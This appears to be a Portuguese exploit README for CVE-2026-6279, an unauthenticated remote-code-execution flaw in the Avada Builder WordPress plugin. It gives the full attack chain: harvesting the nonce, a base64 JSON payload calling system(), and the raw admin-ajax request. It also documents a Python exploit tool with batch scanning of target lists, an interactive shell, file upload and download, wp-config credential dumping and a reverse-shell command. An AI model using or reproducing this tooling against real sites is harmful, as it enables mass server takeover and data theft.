
CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – Execução Remota de Código não autenticada via Injeção de Função PHP através do atributo Shortcode 'render_logics' via Widget AJAX Handler (fusion-builder)
| Campo | Detalhe |
|---|---|
| CVE ID | CVE-2026-6279 |
| Afetado | Avada Builder (Fusion Builder) <= 3.15.2 |
| Tema | WordPress Avada Theme |
| Instalações Ativas | 900.000+ |
| Tipo de Vulnerabilidade | Injeção de Função PHP → RCE não autenticado |
| CVSS v3.1 | 9.8 (Crítico) |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | ❌ Não Requerido |
| Interação do Usuário | ❌ Não Requerido |
| Pesquisador | xxcoin |
| Data de Publicação | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. DETECÇÃO DE NONCE │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] ou [fusion_table_of_contents] │
│ é adicionado ao JS em páginas públicas que possuem o │
│ shortcode │
│ │ │
│ ▼ │
│ 2. AJAX NÃO AUTENTICADO │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → apenas verifica validade do nonce │
│ não autentica identidade do usuário │
│ │ │
│ ▼ │
│ 3. DESSERIALIZAÇÃO │
│ base64_decode(render_logics) → json_decode() │
│ Sem validação de estrutura — JSON sob controle do atacante │
│ │ │
│ ▼ │
│ 4. call_user_func() — SEM ALLOWLIST │
│ get_value() → case wp_conditional_tags │
│ call_user_func($value['function'], $value['args']) │
│ Qualquer função PHP pode ser chamada │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Execução completa de comandos com privilégios do servidor │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Sem verificação de allowlist
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Codificado em Base64 e enviado como campo POST
render_logics.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| Função | Argumento | Resultado | Status |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ Bem-sucedido |
passthru() | id | uid=1000(xenon1337) | ✅ Bem-sucedido |
shell_exec() | id | uid=1000(xenon1337) | ✅ Bem-sucedido |
exec() | id | uid=1000(xenon1337) | ✅ Bem-sucedido |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ Bem-sucedido |
proc_open() | — | — | ❌ Requer 2+ argumentos |
popen() | — | — | ❌ Requer 2+ argumentos |
Nota:
call_user_func($fn, $arg)por natureza aceita um único argumento. Funções que requerem 2+ argumentos, comoproc_open,popen, não podem ser acionadas através desta vulnerabilidade.
1. O Avada gera o fusion_load_nonce para UID 0 (usuário público)
2. Em páginas que contêm o shortcode [fusion_post_cards] ou
[fusion_table_of_contents], o nonce é adicionado à saída JS →
qualquer um pode vê-lo
3. check_ajax_referer('fusion_load_nonce') apenas verifica a
validade do nonce — não autentica o usuário
4. Resultado: Qualquer visitante pode obter o nonce e chamar o endpoint
| Arquivo | Linha | Função | Descrição |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | Desserialização de render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — sem allowlist |
fusion-widget.php | L44 | — | Conexão de render_logics |
fusion-widget.php | L389 | — | Registro do handler AJAX wp_ajax_nopriv |
class-fusion-builder.php | L7551 | — | Registro de nonce determinístico para UID 0 |
pip install requests packaging
# Modo com menu (único + lote)
python3 CVE-2026-6279.py
# Sem protocolo (detecção automática)
python3 CVE-2026-6279.py target.com
# Com protocolo
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Com porta
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] Alvo único · shell interativo
◆ [2] Varredura em lote · exploit de arquivo
✗ [3] Sair
shell> id # executar comando
shell> cd /var/www/html # mudar diretório
shell> upload local.php /tmp/x.php # enviar arquivo
shell> download /etc/passwd # baixar arquivo
shell> wp-config # informações do DB
shell> recon # varredura do sistema
shell> revshell 10.0.0.1 4444 # reverse shell
shell> exit # sair
# Formato targets.txt:
target1.com
http://target2.com
https://target3.com:8080
# linha de comentário (ignorada)
♡ arquivo de alvos [targets.txt]:
♡ threads [10]: 30
♡ comando [id]:
♡ arquivo de saída [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ RCE não autenticado via call_user_func() ║
║ Copyright © 2026 xxcoin · Agradecimentos: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝